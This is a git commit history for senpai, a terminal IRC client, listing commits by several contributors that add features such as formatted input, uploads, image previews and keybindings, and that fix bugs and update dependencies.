master
692 commits
3eac6eb
sewn  ·  2026-07-30
master
Add displaying +draft/react and unreactions
4edb6ca
sewn  ·  2026-07-28
Add Control+y to copy selected message
5f7dc12
sewn  ·  2026-07-28
Add selecting a single message in timeline
466484d
sewn  ·  2026-07-28
Add displaying message replyto
ea46a8d
sewn  ·  2026-05-31
Implement hiding topic at runtime
f8929cb
sewn  ·  2026-07-23
Show kick reason and sender
28b1907
sewn  ·  2026-02-27
Add inserting formatted text via toggle keybind

This patch adds the ability to insert formatted text by pressing Ctrl+s
to enable formatting, making a set format characters specify how the text
is to be formatting, which is also shown in the input area.
This single-character method is preferred over traditional ** for bold
and italic since it requires read-ahead, and is a seperate mode as to
not have to also implement backwards reading and styling, eg. inputting
a single asterisk will cause the rest of the text to be bold.

To get around this, backslashing can be implemented with backward reading
and the basic formatting characters can be enabled by default, but that
can be a later patch.

Resolves https://todo.sr.ht/~delthas/senpai/93
Credit: https://lists.sr.ht/~delthas/senpai-dev/patches/58333
94ab5ff
Ferass El Hafidi  ·  2026-07-23
Show mode change sender
642e94b
Ferass El Hafidi  ·  2026-07-23
Optionally show quit and part messages

These are shown by default, enable `quitmessages` in the config
file to show them.

Also differenciate between a quit and a part by showing an "x" next
to the nickname instead of a "-" for a quit.

The way this is implemented will hide the following quit messages:

 * "connection closed"
 * "Remote host closed connection"
 * "Quit: "
 * "" (empty)

Signed-off-by: Ferass El Hafidi <vitali64pmemail@protonmail.com>
e52876a
sewn  ·  2025-07-15
allow empty messages to be sent and recieved

PRIVMSG can have no content, but it is different than having spaces.
Sending nothing isn't permitted, however, sending a single space is,
and is interpeted as usual on other IRC clients.

Signed-off-by: sewn <sewn@disroot.org>
c7858c8
fia  ·  2026-06-23
add config option "buttons"

Allows turning off mouse buttons in the UI while still leaving mouse
support enabled. Defaults to true to match current behaviour.
fa4af97
gildarts  ·  2026-05-27
Add nick-prefix option to show membership on messages

The option is off by default; enable with "nick-prefix true" in the
config. Adds Session.Membership(channel, nick) so callers can look up
a single user's membership without walking the full member list.

Fixes: #88
9b2d6b5
snow flurry  ·  2026-06-19
Add option to disable "is typing" status

This adds the "show-typing" config field, which lets the user disable
the "[user] is typing..." text. By default this is enabled to match
current behavior.
08e0bab
Hugo Osvaldo Barrera  ·  2026-07-23
Delete built-image image viewer

Senpai includes a built-in image viewer. This image viewer lacks basic
features such as zooming, panning, and displays a blurry thumbnail of
the linked images.

Rather than aspire to implement all these features into an IRC client,
use the system image viewer instead. Most modern computer systems from
the last few decades include an image viewer already.

This also reduces delay when clicking non-image links, since senpai no
longer has to perform one request to determine if it is an image.
42b47ec
sewn  ·  2026-07-23
Revert "Support opening irc:// links in senpai"

This reverts commit 8a399a916e2b1277dd792df446a0dde37d0d3c17.
55c3548
sewn  ·  2026-07-23
Revert "Add spell checking via harper-ls"

This reverts commit 8f6b08f151bb8fc4b2b301685b9def045cd04f27.
7c80055
delthas  ·  2026-06-02
Add Windows binary download link to README
efa2cc1
delthas  ·  2026-06-02
Support setting the version via -ldflags

Add a package-level version variable that can be stamped at build time
with -ldflags "-X git.sr.ht/~delthas/senpai.version=...", letting the
release script and package maintainers report a clean version. The
Makefile wires this through a VERSION variable.

BuildVersion now prefers the injected value and falls back to the build
info only when it carries a real version, so plain builds no longer
report "(devel)".

Fixes: https://todo.sr.ht/~delthas/senpai/206
4b426b9
delthas  ·  2026-05-14
Support draft/chathistory-end tag for end-of-history detection
f7fd540
delthas  ·  2026-04-21
Add clipboard upload via /upload

/upload with no argument now streams the current clipboard content
instead of a file, using wl-paste on Wayland or xclip on X11.
Ctrl+Alt+V fills the editor with /upload as a shortcut; Ctrl+V shows
a one-time hint explaining the paste/upload shortcuts.

The upload path now accepts an io.Reader, filename and mimetype, and
supports unknown-size uploads (chunked transfer) for streaming from
the clipboard subprocess without buffering.
9a0fd3d
delthas  ·  2026-04-20
Fix member list highlight below last member

Clicking and holding below the last member in the vertical member list
would highlight the last member due to clamping in the draw function.
Remove the clamp so out-of-range memberClicked values simply highlight
nothing.
e5744c2
delthas  ·  2026-04-10
Update emojis to Unicode 17.0
21079b0
delthas  ·  2026-03-19
Set User-Agent header in fetchImage HTTP requests

Image fetching timed out on some hosts (e.g. catbox.moe) because Go's
default HTTP client sends "Go-http-client/2.0" as the User-Agent when
HTTP/2 is negotiated, which certain servers silently block by never
sending response headers.

Set a "senpai/<version>" (or "senpai") User-Agent on all HTTP requests
in fetchImage (HEAD, HTML GET, and image GET). Also close the HEAD
response body and fix minor whitespace.

Fixes: https://todo.sr.ht/~delthas/senpai/230
f2011e8
delthas  ·  2026-03-11
Replace maps.Keys/slices.Sorted with Go 1.21-compatible code

These functions require Go 1.23 but go.mod declares Go 1.21.
cc46b93
delthas  ·  2026-03-11
Clean up dead code and minor lint issues

Remove unused linkEvent struct, use strings.ReplaceAll instead of
strings.Replace with -1 count, and fix context leak in tryConnect by
deferring the cancel function.

See https://codeberg.org/lindenii/sensei/commit/2b97db323731064af7d133f161e8aac7b8e89c25

Co-authored-by: Runxi Yu <me@runxiyu.org>
3fa5cbd
Runxi Yu  ·  2026-03-11
Remove deprecated rand.Seed
2675437
delthas  ·  2026-03-11
Use per-config-path cache files to prevent multi-instance conflicts

Cache files (lastbuffer, laststamp) now include a hash of the config
file path in their filename, so multiple senpai instances with different
configs no longer overwrite each other's state. Falls back to reading
the old unsuffixed files for migration.

See https://codeberg.org/obsoleszenz/senpai/commit/fe77778bcc11de6e5e2018f408599000b9999962

Co-authored-by: obsoleszenz <obsoleszenz@riseup.net>
2440d28
delthas  ·  2026-03-11
Use casemapping for buffer comparison in highlight notification

The $HERE variable in the on-highlight script was incorrect for query
buffers when the buffer was created with different casing than the
server uses (e.g. /msg NickName vs server sending from nickname).

See: https://lists.sr.ht/~delthas/senpai-dev/patches/44105

Co-authored-by: ptrcnull <git@ptrcnull.me>
894b38b
delthas  ·  2026-03-11
Allow underscores in channel links

Reported-by: Arsen
See: https://codeberg.org/emersion/goguma/issues/340
225d64e
delthas  ·  2026-03-11
Mention spell checking is English only for now
8f6b08f
delthas  ·  2026-03-11
Add spell checking via harper-ls

Integrate harper-ls as an LSP spell checker running in the background.
When enabled with `spell-check true`, misspelled words are highlighted
with curly underlines. IRC nicks from the current network are
automatically added to the dictionary to avoid false positives.

Harper-ls is communicated with over stdio using the LSP protocol.
A write channel with backpressure ensures fast typing doesn't overwhelm
the language server. If harper-ls is not installed, the feature is
silently disabled.

Inspired by patches from gildarts and Consolatis, which used
aspell/gospell. This implementation uses harper-ls instead, avoiding
external library dependencies.

See: https://lists.sr.ht/~delthas/senpai-dev/patches/50746
See: https://lists.sr.ht/~delthas/senpai-dev/patches/59148
See: https://github.com/Consolatis/senpai/commit/99c010062d571665ce40e9b04caa10a643196c8e
Fixes: https://todo.sr.ht/~delthas/senpai/99
8da8a07
delthas  ·  2026-03-11
Don't register click event for ACTION/NOTICE nicks

Clicking the nick column on an ACTION message (displayed as "*") would
try to open a buffer for "*", which is not a valid user.

Simplified alternative to https://github.com/delthas/senpai/pull/2

Co-authored-by: sewn <sewn@disroot.org>
Fixes: https://todo.sr.ht/~delthas/senpai/242
fcccab1
delthas  ·  2026-03-11
Sort completions and fix duplicates for /msg

Sort /msg completions alphabetically by nick, and command completions
alphabetically by name. Other completion sources were already sorted
(channel members by power level, emoji alphabetically, uploads by name).

Skip channel member completions when input starts with /msg, since
completionsMsg already covers all known users. This fixes duplicate
completions showing up for /msg.

Co-authored-by: Hubert Hirtz <hubert@hirtz.pm>
a7b00a0
Hubert Hirtz  ·  2026-03-10
Check for CLIENTTAGDENY before sending @+typing

ref: https://ircv3.net/specs/extensions/message-tags#rpl_isupport-tokens
89ba4ff
Hubert Hirtz  ·  2025-09-21
Set the Display attribute for /msg completions

This avoids the spaces after the nicks, like what
completionsChannelMembers does.
b209af1
delthas  ·  2026-03-10
Fix nicks with brackets becoming invisible after restart

s.nickCf was computed at RPL_WELCOME (001) using the default casemap
(rfc1459), but ISUPPORT (005) arrives after and may change the casemap
to ascii. For nicks containing brackets (e.g. [mynick]), rfc1459
casemapping converts [ to { and ] to }, while ascii does not. This
caused IsMe() to fail for all subsequent JOINs, so channels were never
added to the buffer list.

Recompute s.nickCf and rekey s.users when the casemap changes in
ISUPPORT.

Fixes: https://todo.sr.ht/~delthas/senpai/231
cea6284
delthas  ·  2026-03-10
Add Alt+A keybinding for jumping to next unread buffer

This is a standard keybinding in irssi and weechat, and was frequently
requested by users. It maps to the existing buffer-next-unread action,
which is also available via Shift+Right.

Fixes: https://todo.sr.ht/~delthas/senpai/236
f2fc43b
Hubert Hirtz  ·  2025-09-21
Better advertise /back in docs

Users new to IRC might not know how to deal with away messages, and
experienced users might want to use /away without arguments.
cde2505
delthas  ·  2026-03-10
Clarify no-arg away semantics

Closes: https://todo.sr.ht/~delthas/senpai/238
f8898af
delthas  ·  2026-03-08
Add cursor-delete-next-word on Alt+Suppr

At the request of rnkn on IRC. Thanks!
6a9a5a0
delthas  ·  2026-03-08
Bump vaxis
c79cb75
delthas  ·  2026-03-08
Bump to go 1.21
d893048
delthas  ·  2025-12-28
Add CI builds
f535d56
delthas  ·  2025-12-28
Bump go-libnp

This drops the CGo requirement on Windows
091306a
delthas  ·  2025-12-28
Bump go-localeinfo

Makes Windows date format detection work even without CGo
c19e012
delthas  ·  2025-12-23
Fix uploading drag-and-drop files on some terminals

Actually a workaround :P

ghostty and iTerm2 escape the file path before passing it to senpai.
If the file cannot be resolved, try again after un-escaping the
file path. Not great, but better than a switch on terminal ID.

Also, make sure to trim any extra newline, even if passed as Ctrl+j
(for you, ghostty!).

See: https://github.com/ghostty-org/ghostty/discussions/10029
Fixes: https://todo.sr.ht/~delthas/senpai/209
6df1449
delthas  ·  2025-12-23
Fix UPLOAD autocompletions for relative paths
9eed830
delthas  ·  2025-12-23
Fix broken Compose input on ghostty

See: https://github.com/ghostty-org/ghostty/discussions/10026
333c27f
delthas  ·  2025-12-19
Fix panic on image preview on terminals without cell size

Thanks to Kieran Musser for reporting the issue!

Fixes: https://todo.sr.ht/~delthas/senpai/227
2132570
delthas  ·  2025-12-04
Fix broken connection to UnrealIRCd

See: https://bugs.unrealircd.org/view.php?id=6598
ecc63d2
Ariadna Vigo  ·  2025-12-02
Fix typo in panic message

'found' -> 'find' in panic message
7128ad8
delthas  ·  2025-11-12
Support STATUSMSG-prefixed messages

Parse STATUSMSG prefixes in incoming messages, and push those messages
to the correct channel with the prefix indicated in the interface.

This also marks channel-context messages with a prefix.

Changes to ui.Line were added in order to support multiple styles
in the head.

Implements: https://todo.sr.ht/~delthas/senpai/183
Co-Authored-By: Taavi Väänänen <taavi@majava.org>
8a399a9
delthas  ·  2025-11-07
Support opening irc:// links in senpai
fa9130a
delthas  ·  2025-10-17
Fix input on Wezterm with Kitty keyboard protocol enabled

In that case, Wezterm seems to send text for events that should not
be generating them. Sanitize these events to avoid treating them
as text events.
f40c9db
delthas  ·  2025-09-26
Optimize loading previews of EXIF-rotated images
4173dac
delthas  ·  2025-09-24
Support screenshots on Darwin
0f4a102
delthas  ·  2025-09-24
Fix building on !linux
8a77883
delthas  ·  2025-09-24
Add /SCREENSHOT to take and upload screenshots
efec872
delthas  ·  2025-09-16
doc: Drop bogus line

Thanks to divlamir for finding the issue.
37fd715
delthas  ·  2025-09-15
Fix missing ui/keynames.go file
445d335
delthas  ·  2025-09-15
Support custom keyboard shortcuts
972d647
Hubert Hirtz  ·  2025-08-24
Only show mouse buttons when mouse is enabled

i guess it means the user cannot discover features, but for users who go
out of their ways to disable mouse it just clutters the screen.
53b67f9
Hubert Hirtz  ·  2025-09-07
doc: link to senpai(5) in -config

More prominent link to senpai(5) than the one at the bottom of the page.
26f897f
delthas  ·  2025-08-24
Document supported environment variables
c8996ac
Hubert Hirtz  ·  2025-08-21
doc: duplicate \ to account for scdoc escapes

scdoc transforms \\ to \, so end users weren't seeing the correct sed
command in their manpage viewer.
18c125f
Karel Balej  ·  2025-07-24
doc: remove stray dashes in senpai.5.scd
2539463
delthas  ·  2025-08-23
Support IPv6 zone identifiers in address

We previously supported them in their URL-encoded form, but this
was not intuitive. Also support them if passed unencoded.

Thanks to socksinspace for finding this issue.
664fe0e
delthas  ·  2025-08-23
Fix autocompletion for relative UPLOAD paths
0341fb8
delthas  ·  2025-08-03
Make UPLOAD paths relative to the user home directory

Closes: https://todo.sr.ht/~delthas/senpai/211
4c62442
delthas  ·  2025-08-03
Fix panic on PRIVMSG/NOTICE without a prefix

Thanks to cjj for finding the issue.

Thanks to gamesurge for hosting an obsolete IRCd ;-)

Fixes: https://todo.sr.ht/~delthas/senpai/208
fb47f06
delthas  ·  2025-05-30
Fix very rarely inserting empty new lines or truncating lines

This could happen for messages containing a very long word with
exactly the width of the timeline.

Also kudos to taiite for making line.NewLines, no bugs found for
5 years... until now ;-)
727ebfa
delthas  ·  2025-05-30
Fix trimming end marker on CTCP messages
ca71c08
delthas  ·  2025-04-20
Support METADATA (pin/mute) for user buffers

Also, fix not monitoring users again after a reconnect in some
cases.

See: https://codeberg.org/emersion/soju/pulls/54
9baf688
delthas  ·  2025-03-17
Fix theoretical crash on read event on overlay tab

I am not sure how this could happen in practice but a user has had
this panic.

Thanks to one-star-chef for finding the issue.
f5befdb
delthas  ·  2025-03-17
Fix incorrect cursor position when editing mutli-line text

Thanks to valr for finding the issue.

Fixes: https://todo.sr.ht/~delthas/senpai/199
fcd6b14
delthas  ·  2025-03-17
Defer unimportant caps until CAP LS response

This keeps our conn-reg 0-RTT but introduces a theoretical race
condition on these CAPs (e.g. if we receive a SETNAME right after
conn-reg).

This helps us go below 20 messages for our conn-reg batch, which
is the default limit on solanum and the one used by Libera.

Fixes: https://todo.sr.ht/~delthas/senpai/200
aee34a4
delthas  ·  2025-03-16
doc: Mention system package repositories
55e1370
delthas  ·  2025-03-16
Bump dependencies
89b9a9b
delthas  ·  2025-03-10
Improve color contrast of status text by blending fg and bg to RGB

Fixes: https://todo.sr.ht/~delthas/senpai/198
ae62bb9
delthas  ·  2025-03-11
Fix chat history fetch loop for targets containing uppercase chars

We would previously flood the server with CHATHISTORY BEFORE on
channels with mixed case.
19a962c
delthas  ·  2025-03-11
Fix duplicate direct messages in rare cases
18f699a
delthas  ·  2025-03-11
Fix retrying connection after App exits

Thanks to Antonio Mika <me@antoniomika.me> for helping me find
this issue.

This leaves a possible theoretical race condition, but should not
really happen in practice and can only be properly fixed by
refactoring existing code to use contexts.
a5fc18b
delthas  ·  2025-03-10
doc: Clarify password-cmd
1e7e821
delthas  ·  2025-03-07
Clean up goroutines after App closes

Co-authored-by: Antonio Mika <me@antoniomika.me>
e6e8074
Antonio Mika  ·  2025-02-22
Allow passing in console to vaxis
c96f063
delthas  ·  2025-03-07
Update documentation
2f292ee
delthas  ·  2025-03-07
Add "colors nicks self" to set own nick color only

Fixes: https://todo.sr.ht/~delthas/senpai/195
c388b84
delthas  ·  2025-03-05
Add workaround support for RGB colors on Windows Terminal
cbbc006
delthas  ·  2025-03-05
Fix sending invalid trailing semicolon in tags

See: https://github.com/progval/matrix2051/issues/77
14f45e0
delthas  ·  2025-03-03
Work around broken Associated Text on iTerm2

See: https://gitlab.com/gnachman/iterm2/-/issues/12177
cdda64c
delthas  ·  2025-02-19
Use alternative gray color on color schemes with bg == gray

With these heuristics, "gray" text should always be readable
regardless of the theme, even for 8-color themes.

Fixes: https://todo.sr.ht/~delthas/senpai/160
1e2ffe2
delthas  ·  2025-02-18
Always show the message time after a message date

This can help know at which specific time a long discussion
happened.

Thanks to ~sethkush for the feature request.

Fixes: https://todo.sr.ht/~delthas/senpai/179
47cf782
delthas  ·  2025-02-18
Bump vaxis

This fixes restoring the cursor shape on exit.

See: https://todo.sr.ht/~delthas/senpai/164
1fceda6
delthas  ·  2025-02-18
Censor passwords in debug logs

Fixes: https://todo.sr.ht/~delthas/senpai/176
2bb35a8
delthas  ·  2025-02-18
Fix highlight first action on start

Thanks to ~sewn for filing this bug.

Fixes: https://todo.sr.ht/~delthas/senpai/182
31d0031
Jan Fooken  ·  2025-01-29
Prefer $XDG_CONFIG_HOME over platform's directory on MacOS

This commit implements the preference of $XDG_CONFIG_HOME over the
platform's native equivalent on MacOS.  This allows users to
use $HOME/.config as preferred path for storing configurations. This is
preferred by a lot of people, who are using Git repositories to backup
their dotfiles.  Furthermore, there is precedence of macOS applications
storing their configuration files in $HOME/.config by default.

Also added: a "migration" from the preivous configuration file
for users that had already this envrionment variable set.

Signed-off-by: Jan Fooken <jan@faulty.computer>
Co-authored-by: delthas <delthas@dille.cc>
Fixes: https://todo.sr.ht/~delthas/senpai/174
743bbea
delthas  ·  2025-02-17
Update emoji completion emoji list

The upstream gemoji repo looks abandoned for now.
bf7a913
Angus Gibson  ·  2024-10-10
Show members with latest messages first in member completion

Fixes: https://todo.sr.ht/~delthas/senpai/139
17006ee
Lauri Tirkkonen  ·  2024-11-14
extended color scheme: use rgb colors

Also detect background color & vary lightness.
207463e
Ham Adams  ·  2024-09-10
Add a -version flag and display the version on start

Add a -version flag that displays the current senpai version and exits.

This makes use of the new Go 1.24 feature that embeds VCS information
in the binary.

See: https://tip.golang.org/doc/go1.24#go-command
770c472
aoife cassidy  ·  2024-12-16
Allow scrolling topic left and right

Co-authored-by: delthas <delthas@dille.cc>
6f33f5d
delthas  ·  2025-02-17
Update outdated advanced example configuration

The custom highlight script should not really be used anymore.
fb077de
delthas  ·  2025-02-17
Bump dependencies
1a8f28c
delthas  ·  2025-02-17
Avoid considering hash numbers as channels

References like #1234 are much more likely to be references to
ticket numbers than channels.
7ae04de
delthas  ·  2025-01-14
Bump go-libnp
51c292c
delthas  ·  2025-01-13
Bump go-libnp
572a51c
delthas  ·  2025-01-13
Fix warning message on server without METADATA and SASL
f5c599e
delthas  ·  2024-09-02
Enable pinning and muting buffers

This is done with metadata-2 and stored server side.

This requires soju > 0.8.2 (so, master at the time of writing).

Fixes: https://todo.sr.ht/~delthas/senpai/84
f61411c
delthas  ·  2024-12-09
Scroll to buffer in buffer list on Alt+N

Thanks to kucha on #senpai for finding this issue.
23a895e
delthas  ·  2024-12-09
Fix scrolling to highlight on buffers with unread messages.

Thanks to kucha on #senpai for finding this issue.
d13c5b3
delthas  ·  2024-12-09
Make image preview timeouts more aggressive

We could previously wait up to 6 seconds for unresponsive hosts.
e6d6b9e
delthas  ·  2024-10-30
Support links to channels

Clicking on #foo will now jump to it or try joining it.
a8c3f1a
delthas  ·  2024-10-30
Optimize large line merging

Avoids getting to 100% CPU when sr.ht restarts ;-)
18998b0
delthas  ·  2024-10-07
Display RPL_STATSCONN nicely
6bb81e4
delthas  ·  2024-10-07
Update dependencies
63e971e
delthas  ·  2024-09-17
Fix escaping tag values twice
3fb782b
delthas  ·  2024-09-17
Make max upload file size dynamic
7b0ff99
delthas  ·  2024-08-26
Update dependencies
46202c5
delthas  ·  2024-10-05
Tentatively mute server notices pre-connection-registration
89dc108
delthas  ·  2024-10-05
Default message prefixes to the server prefix

Fixes: https://todo.sr.ht/~delthas/senpai/172
64a7907
delthas  ·  2024-10-05
Add notice about using bouncers with senpai
752eb5c
delthas  ·  2024-08-14
NP: Do not show empty artist names
54bf809
delthas  ·  2024-08-07
Do not display image previews of video embedded objects

Just open the link externally, when mouse links are enabled.
a6b7271
delthas  ·  2024-08-07
Try opening links as previews based on their content type

Instead of their URL path file extension.

Additionally, add a specific case for Twitter/X, which has broken
embeds at the moment. I can finally have my Twitter image embeds
in my terminal :-)
5ec99d5
delthas  ·  2024-07-30
notify: Fix notification icon name

Gnome already displayed the correct icon, thanks to app-name and
desktop-entry.
72d9503
delthas  ·  2024-07-29
Fix make install on Mac OS

Fixes: https://todo.sr.ht/~delthas/senpai/170
b72ae5d
Runxi Yu  ·  2024-07-26
Makefile: Use install(1) rather than cp(1) for installing

If the user uses a restrictive umask, the files copied via cp(1) would
not be world-executable. Most of the time I install to /usr/local/bin as
root, which causes the installed binaries to be not executable by normal
users.

By default, install(1) uses -rwxr-xr-x, which solves this.

Signed-off-by: Runxi Yu <me@runxiyu.org>
db524fb
delthas  ·  2024-07-29
Add image EXIF rotation support

Forgot to git add :-)
34095f1
delthas  ·  2024-07-29
Bump Vaxis
9c56bb6
delthas  ·  2024-07-29
Preview EXIF-rotated images with the correct rotation

See: https://github.com/golang/go/issues/4341
See: https://github.com/disintegration/imageorient
e6641b6
delthas  ·  2024-07-24
Use labeled response when available

We do not use it inside senpai; but this enables third-party IRC
analysis tools/proxies that analyze messages flows to have this
information at hand in messages.
36cbd41
delthas  ·  2024-07-24
Open non-image links with unmodified mouse left clicks on foot
c37f59b
delthas  ·  2024-07-24
Show an ellipsis when more completions are available
a601d8e
delthas  ·  2024-07-24
commands: Add auto-completion to /join

This also adds a small "framework" to support async completions.
e193ae4
delthas  ·  2024-07-19
Render formatting and links in topics
4c7c6de
delthas  ·  2024-07-18
Update the mouse cursor even when no button is pressed

Thanks to inwit for the suggestion.
4aa4ccb
delthas  ·  2024-07-18
Add support for uploading files

Either with a command or a drag and drop of a file.

Also support autocompletion of file paths.
e3066fa
delthas  ·  2024-07-18
Support ctrl+click to open links on foot

I don't really like ctrl+shift+o :P
f52ab05
delthas  ·  2024-07-18
Fix multi-line hyperlinks on messages starting with the link
69d4f3e
delthas  ·  2024-07-18
Fix panic on /query on disconnected network
a4d524e
delthas  ·  2024-07-18
Fix mouse cursor shape when resizing panels
6bb73eb
delthas  ·  2024-07-18
Collapse more status changes (join/part/quit/mode)

Fixes: https://todo.sr.ht/~delthas/senpai/94
8d6749a
delthas  ·  2024-07-17
Fix previous buffer staying highlighted in rare cases
abb4909
delthas  ·  2024-07-17
Make nicks in the timeline clickable

Fixes: https://todo.sr.ht/~delthas/senpai/92
eada435
delthas  ·  2024-07-17
Only consider messages read when the terminal is focused

Thanks to terminal focus events.

Fixes: https://todo.sr.ht/~delthas/senpai/166
c1a3108
delthas  ·  2024-07-17
Add the count of unread highlights to the window title

Fixes: https://todo.sr.ht/~delthas/senpai/165
d8907e9
delthas  ·  2024-07-16
Fix sorting members with multiple prefixes
8b9c2f0
delthas  ·  2024-07-16
Bump Vaxis

This brings a 10x speedup to showing image previews on SIXEL
terminals (e.g. foot).
99d65f0
delthas  ·  2024-07-16
Sort powered users by power level

Instead of just alphabetically between them.
fcd4e9d
Lauri Tirkkonen  ·  2024-07-16
app: treat Shift+Backspace as Backspace

before ffb806d777cb0123d276f0c03463fa0fdda1a4ae, both Shift+Backspace
and Ctrl+Backspace acted as "erase previous character", but since then
Backspace does nothing if modified by Shift or Ctrl. I find that I often
try to backspace while still having Shift held down from a previous
character I typed, so make Shift+Backspace work as it did previously.
a2cdd74
delthas  ·  2024-07-03
Autocomplete immediately when only one result is found

Fixes: https://todo.sr.ht/~delthas/senpai/142
06d3d2c
delthas  ·  2024-07-03
Add CTRL+K as a shortcut to buffer; filter buffer view by name

This makes CTRL+K behave as a real channel switcher, akin to
Discord's CTRL+K.

Fixes: https://todo.sr.ht/~delthas/senpai/83
1a988df
delthas  ·  2024-07-03
Accept any prefix of /BUFFER as the buffer command

This will reflect the index prefix that appears when typing /b.
6ed6f0b
delthas  ·  2024-07-03
Keep cursor position on reducing the terminal width

Fixes: https://todo.sr.ht/~delthas/senpai/138
d852436
delthas  ·  2024-07-03
Fix rare panic on scrolling horizontal channels on small terminals

Fixes: https://todo.sr.ht/~delthas/senpai/161
c527c58
delthas  ·  2024-07-03
Fetch 2 pages of history of the foreground buffer

This makes scrolling the backlog much smoother, as there are always
some messages waiting above the cursor when scrolling. Similarly to
e.g. an Android RecyclerView.
2b6e0a2
delthas  ·  2024-07-03
Make Enter pick an autocompletion when the menu is open

Fixes: https://todo.sr.ht/~delthas/senpai/156
f5a1c3d
delthas  ·  2024-07-03
Fix rare panic on Control+E on small windows

Fixes: https://todo.sr.ht/~delthas/senpai/144
4d96ac2
delthas  ·  2024-07-02
Fix build on Mac OS
dff2f5e
delthas  ·  2024-07-02
Add link image previews

This is made so easy thanks to Vaxis!
d47a847
delthas  ·  2024-07-02
Fix autocompletion highlight
bf679b4
delthas  ·  2024-07-02
Split long messages on grapheme cluster boundaries

This fixes possibly sending invalid emoji sequences in very rare
cases in long messages.

Fixes: https://todo.sr.ht/~delthas/senpai/78
ffb806d
delthas  ·  2024-07-02
Move to Vaxis (from vaxis-tcell)

This brings, at long last, proper multi-codepoint grapheme cluster
support. Meaning, editing ZWJ emoji now works flawlessly.

Fixes: https://todo.sr.ht/~delthas/senpai/57
e64baed
delthas  ·  2024-06-19
Bump vaxis

Thanks to angle for the notice.
1ad0689
delthas  ·  2024-06-03
Bump vaxis (fix mouse events on Zellij)
0588fd5
Ferass El Hafidi  ·  2024-05-25
session: remove "The user" part from whois

Signed-off-by: Ferass El Hafidi <vitali64pmemail@protonmail.com>
625e7b7
Ferass El Hafidi  ·  2024-05-25
session: don't ignore rplHelpstart

It isn't really a delimiter, it shows the command syntax of the command
you need help in, like so:

	:irc.test 704 f_ wallops :/WALLOPS :<message>  # <- rplHelpstart
	:irc.test 705 f_ wallops :
	:irc.test 705 f_ wallops :Sends a message to all +w users.
	:irc.test 705 f_ wallops :
	:irc.test 706 f_ wallops :End of /HELPOP.

Signed-off-by: Ferass El Hafidi <vitali64pmemail@protonmail.com>
4c9859f
Ferass El Hafidi  ·  2024-05-25
irc: show oper class

Signed-off-by: Ferass El Hafidi <vitali64pmemail@protonmail.com>
ce85ab5
delthas  ·  2024-05-31
Fix compilation on non-Linux (again)
9a934fa
delthas  ·  2024-05-31
Fix compilation on non-Linux
1c49cca
ptrcnull  ·  2023-08-31
Edit multi-line pasted content before sending it

This avoids accidentally sending multiple lines on an unexpected
clipboard paste.
d6230f3
Lauri Tirkkonen  ·  2024-01-26
app: show who changed the topic when it changes
328325b
Tim Culverhouse  ·  2023-11-02
mouse: add mouse shape and events

Signed-off-by: Tim Culverhouse <tim@timculverhouse.com>
a9be17f
Tim Culverhouse  ·  2023-11-02
ui: use vaxis rendering engine

Signed-off-by: Tim Culverhouse <tim@timculverhouse.com>
488d264
delthas  ·  2023-10-25
Add icon, custom notifications through local integrations

This adds custom notifications sent directly (bypassing the
terminal), that enables us to automatically dismiss them, add a
nice icon, and to automatically switch to the appropriate buffer
when clicked.

This can be disabled with `local-integrations false` in the config
if any issues are encountered. If you do, please open a ticket so
this can be investigated. (I'm aware this might be a bit
experimental.)

This also adds support for OSC 176 ([1]), which enables users to
use senpai as an "application", meaning it can be started from the
application launcher, pinned to a task bar, have a proper icon and
standalone window grouping, etc. This is at the time of writing
only supported on foot.

[1]: https://gist.github.com/delthas/d451e2cc1573bb2364839849c7117239
206be65
delthas  ·  2024-04-25
Add a simple Help in the network vertical "member" sidebar

Since networks do not have any members, we can reuse this sidebar
to add a few Help commands (that literally write commands to the
text input).

We're assuming that advanced users that hide the sidebar will know
how to join a channel.
021f76e
delthas  ·  2024-04-25
commands: Make HELP slightly more compact

Now that we have many more commands, avoid any extra padding.
e29587a
delthas  ·  2024-04-25
commands: Add BOUNCER command

Makes it slightly easier to interact with the soju bouncer.

Also show bouncer messages as noticed (in the current buffer).
e46263f
Thorben Günther  ·  2024-01-21
config: Don't wrap error for password-cmd failure

If the password command fails, the error will contain
"no such file or directory", so that senpai starts the configuration
assistant.
Simply not wrapping the error fixes the program flow.
8d58ad6
delthas  ·  2023-12-27
Sort imports
65237b8
delthas  ·  2023-12-27
Mention pressing escape to close /search
1ad07b5
sewn  ·  2023-12-14
Handle empty message properly

Sending nothing in senpai makes the if check to work properly, however
if sent nothing but a space, senpai will panic, as parseCommand assumes
it is alphanumerical and not just a space.

This commit fixes it by making parseCommand return false instead of
panic when a message is empty.

Co-authored-by: delthas <delthas@dille.cc>
Co-authored-by: sewn <sewn@disroot.org>
edb498b
delthas  ·  2023-12-25
doc: Fix not requiring a pre-created configuration file
31bdbef
delthas  ·  2023-12-25
Add auto-completion suggestion popup

Inspired by Consolatis from the referenced GitHub PR.

See: https://github.com/Consolatis/senpai/pull/3/files
Fixes: https://todo.sr.ht/~delthas/senpai/130
09129df
delthas  ·  2023-12-13
Add CTRL+F as a search shortcut

This will be more intuitive for users.
5acac28
delthas  ·  2023-12-11
Send pings, retry connecting after sleep/long pause
686d365
Johannes Thyssen Tishman  ·  2023-11-29
Fix building documentation when not in a git repository

e.g. when building from a release tarball
ea86a2e
delthas  ·  2023-12-04
Move from ~taiite to ~senpai
e92997b
delthas  ·  2023-11-27
Do not require git for building documentation
82ff357
delthas  ·  2023-11-27
Make man pages build reproducible

See: https://git.sr.ht/~sircmpwn/scdoc/tree/ca7aad3e74178dda6ff93cadd962594ae0a2c174/item/src/main.c#L77
See: https://reproducible-builds.org/docs/source-date-epoch/
See: https://gitlab.archlinux.org/archlinux/packaging/packages/senpai/-/blob/0.2.0-3/PKGBUILD?ref_type=tags#L52
89aaced
delthas  ·  2023-11-27
Add automatic configuration for pyonji
5b53434
delthas  ·  2023-11-23
doc: Mention tracker email and pyonji
1a5a19c
Hugo Osvaldo Barrera  ·  2023-10-26
Bail early if password-cmd returns no data
1a2bb12
delthas  ·  2023-11-17
Fix calling highlight with HERE=1 on different networks
decbe3d
delthas  ·  2023-11-17
Make buffer indexes for /buffer start at 1

This is more intuitive for users. (A file starts at line 1, a list
of buffer starts at buffer 1).

It also aligns the number with the shortcut for Alt+$number.

Thanks to Eric Bower <me@erock.io> for finding the initial bug.

See: https://lists.sr.ht/~delthas/senpai-dev/patches/33541
94a8582
Hugo Osvaldo Barrera  ·  2023-08-24
Drop unnecessary fmt.Sprintf
0604b0a
delthas  ·  2023-11-17
Cleanup code
4d118f4
Gregory Anders  ·  2022-05-10
Add support for standard readline bindings for C-a and C-e

